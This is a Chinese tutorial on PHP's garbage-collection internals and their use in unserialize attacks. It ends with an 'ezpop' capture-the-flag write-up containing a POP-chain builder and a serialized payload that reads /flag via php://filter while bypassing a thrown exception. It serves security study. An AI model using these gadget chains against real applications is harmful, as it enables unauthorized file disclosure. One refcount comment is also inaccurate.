php中GC垃圾回收机制的利用
字数 737 2025-08-06 08:34:49
PHP中GC垃圾回收机制的利用详解
一、GC垃圾回收机制概述
PHP使用引用计数和回收周期来自动管理内存对象。当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收。
关键概念:
- 当一个对象没有被引用时,就会被GC机制回收
- 在回收过程中会自动触发
__destruct方法 - 这是绕过抛出异常的关键点
二、引用计数原理
PHP变量存储在"zval"变量容器中,包含以下关键信息:
zval结构
struct _zval_struct {
zend_value value;
union { ... } u1; // 用于识别变量类型
union { ... } u2; // 辅助字段
};
zend_value联合体
typedef union _zval_value {
zend_long lval; // 整形
double dval; // 浮点型
zend_refcounted *counted; // 获取不同类型的gc头部
zend_string *str; // string字符串
zend_array *arr; // 数组
zend_object *obj; // 对象
// ...其他类型
} zend_value;
引用计数头结构
typedef struct _zend_refcounted_h {
uint32_t refcount; // 引用计数器32位
union {
struct {
zend_uchar type;
zend_uchar flags; // 用于字符串和对象
uint16_t gc_info; // 保持GC根编号(或0)和颜色
} v;
uint32_t type_info;
} u;
} zend_refcounted_h;
关键字段解释
- is_ref:bool值,标识变量是否属于引用集合
- refcount:表示指向这个zval变量容器的变量个数
三、引用计数示例
基本示例
$a = "new string";
xdebug_debug_zval('a');
// 输出: a: (refcount=1, is_ref=0)='new string'
增加引用计数
$a = "new string";
$b = &$a;
xdebug_debug_zval('a');
// 输出: a: (refcount=2, is_ref=1)='new string'
减少引用计数
$a = "new string";
$b = &$a;
$c = &$b;
xdebug_debug_zval('a'); // refcount=3, is_ref=1
unset($b, $c);
xdebug_debug_zval('a'); // refcount=1, is_ref=1
拷贝复制机制
$a = 'hello';
$b = $a; // $a的值并没有真的复制
echo xdebug_debug_zval('a'); // $a的引用计数为0
$a = 'world'; // 此时才真正复制
echo xdebug_debug_zval('a'); // $a的引用计数为0
四、垃圾回收机制
回收条件
- 当zval的refcount=0时,直接释放内存
- 当refcount>0时,也可能被认为是垃圾(循环引用情况)
循环引用示例
$arr = [1];
$arr[] = &$arr;
unset($arr);
这种情况下,zend_value不会被立即释放,而是被放入垃圾回收堆中进行二次检测。
五、GC在PHP反序列化中的应用
基本示例
class test {
public $num;
public function __construct($num) {
$this->num = $num;
echo $this->num."__construct"."</br>";
}
public function __destruct() {
echo $this->num."__destruct()"."</br>";
}
}
$a = new test(1);
$b = new test(2);
$c = new test(3);
// 正常情况下,销毁方法最后执行
主动触发GC
$a = new test(1);
unset($a); // 立即触发__destruct
$b = new test(2);
$c = new test(3);
绕过异常抛出
class B {
function __destruct() {
global $flag;
echo $flag;
}
}
// 反序列化数组,第一个元素为对象,第二个为0
$a = array(new B, 0);
echo serialize($a);
// 输出: a:2:{i:0;O:1:"B":0:{}i:1;i:0;}
// 修改为触发GC的payload
a:2:{i:0;O:1:"B":0:{}i:0;i:0;}
六、实战案例 - ezpop题目
题目源码
class night {
public $night;
public function __destruct() {
echo $this->night . '哒咩咩哟';
}
}
class day {
public $day;
public function __toString() {
echo $this->day->go();
}
public function __call($a, $b) {
echo $this->day->getFlag();
}
}
class light {
public $light;
public function __invoke() {
echo $this->light->d();
}
}
class dark {
public $dark;
public function go() {
($this->dark)();
}
public function getFlag() {
include(hacked($this->dark));
}
}
function hacked($s) {
if(substr($s, 0, 1) == '/') {
die('呆jio步');
}
$s = preg_replace('/','.',$s);
$s = urldecode($s);
$s = htmlentities($s, ENT_QUOTES, 'UTF-8');
return strip_tags($s);
}
$un = unserialize($_POST['快给我传参pop']);
// throw new Exception('seino');
攻击链构造
class night { public $night; }
class day { public $day; }
class light { public $light; }
class dark { public $dark; }
$a = new night();
$a->night = new day();
$a->night->day = new dark();
$a->night->day->dark = new light();
$a->night->day->dark->light = new day();
$a->night->day->dark->light->day = new dark();
$a->night->day->dark->light->day->dark = 'php://filter/convert.base64-encode/resource=/flag';
$b = array($a, 0); // 利用GC机制绕过异常
echo serialize($b);
最终payload
a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}i:1;i:0;}
修改为:
a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}i:0;i:0;}
七、关键知识点总结
- GC触发条件:refcount=0或循环引用
- __destruct触发:对象被销毁时自动调用
- 绕过异常技巧:利用数组和GC机制强制触发析构
- 反序列化利用:构造特殊对象链触发漏洞
- 引用计数机制:理解is_ref和refcount的作用
通过深入理解PHP的GC机制,可以在安全测试中发现更多利用点,特别是在反序列化漏洞的利用中,GC机制常常是绕过限制的关键。